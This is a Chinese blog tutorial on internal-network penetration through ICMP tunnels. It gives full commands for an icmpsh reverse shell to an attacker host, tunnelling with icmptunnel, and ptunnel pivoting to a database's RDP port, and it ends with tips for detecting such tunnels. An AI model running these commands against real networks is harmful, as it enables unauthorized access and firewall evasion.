内网渗透之ICMP隐藏隧道

2020-06-17 约 278 字 预计阅读 2 分钟

声明:本文 【内网渗透之ICMP隐藏隧道】 由作者 饼干屑小鬼 于 2020-06-17 09:39:18 首发 先知社区 曾经 浏览数 162 次

感谢 饼干屑小鬼 的辛苦付出!

前言

​ 内网渗透完成信息收集后,流量是否能够正常进出,是内网渗透中需要考虑的地方之一

​ ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一种面向无连接的协议。用于在IP主机路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

​ 参考文章:https://baike.baidu.com/item/ICMP/572452?fr=kg_qa

​ 在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)

建立ICMP隧道

​ 用于建立ICMP隧道的工具一般用icmpshicmptunnelptunnelicmpshell

工作原理

​ 请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求。

​ Windows 和 Linux 系统下的 Ping 工具默认的 Payload 长度为 64 比特,但实际上协议允许附加最大 64K 大小的 Payload。

​ 对于隧道数据,icmptunnel 首先会指定客户端和服务器端。随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包。

icmpsh

​ 工具安装

git clone https://github.com/inquisb/icmpsh.git #下载工具

apt-get install python-impacket #安装依赖

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答

icmpsh的使用场景如下:

​ 服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等)。使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell.

攻击者IP地址:    192.168.1.76
服务器IP地址:    192.168.1.113

​ 被攻击的服务器端运行

icmpsh.exe -t 192.168.1.76(攻击者)

​ 攻击者端运行icmpsh的控制端

python icmpsh_m.py 192.168.1.76(攻击者) 192.168.1.113(被攻击者)

​ 观察wireshare的流量变化,可以看到这里是由192.168.1.113192.168.1.76发出request请求,这里也就印证了这里进行的是反向shell。

icmptunnel

​ icmptunnel的优势在于可以穿过状态防火墙或NAT

​ 一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。

​ icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。

参考:https://www.cnblogs.com/bonelee/p/7462218.html

​ 安装icmptunnel

git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make

​ 可能会出现缺少头文件的问题,参考文章:https://blog.csdn.net/zhutingting0428/article/details/51120949

​ 使用场景和icmpsh一样(被攻击对象为linux的情况下)

攻击者IP:192.168.1.76
被攻击者的IP:192.168.26

​ 攻击者开启icmptunnel服务端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel –s

​ 然后另开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

​ 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

​ 被攻击者

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel 192.168.1.76

​ 连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

​ 指定IP地址为10.0.0.2

​ 此时建立了icmp隧道,在服务器端通过ssh连接被攻击对象

ptunnel

ptunnel就是工具pingtunnel

​ 安装过程如下:

#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

​ 参考:https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA

​ 该工具在kali中是已经集成好的

​ 现有场景如下:一个内网中,有一台Web服务器,一台数据库服务器,Web服务器可以ping通过数据库服务器,但是不能直接访问数据库服务器,已知数据库服务器此时有开启3389端口。

攻击者的IP地址:192.168.1.107(win7)
攻击者的VPS地址:192.168.1.76(kali)

web服务器的IP地址:192.168.1.26(外网)    172.168.1.16(内网)(kali)
数据库服务器的IP地址:172.168.1.18(内网)(win server 2008)

​ 在攻击者的vps(192.168.1.76)中执行如下命令

ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
-p  跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x  为隧道写一个隧道密码,防止隧道滥用

​ 在Web服务器中执行命令

ptunnel -x cookie

在攻击者的机器上访问自己的vps的1080端口

​ 可以看到我们虽然连接的是192.168.1.76,但是我们通过使用web服务器作为跳板,将vps的1080端口与数据库服务器的3389端口连接在一起了。

​ 观察wireshark的流量变化情况

应对icmp隧道措施

使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析

​ 1.检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。

​ 2.注意payload大于64bit的ICMP数据包

​ 3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。

windows系统下ping默认传输的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

​ 参考:https://www.freebuf.com/articles/network/202634.html

​ 4.检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now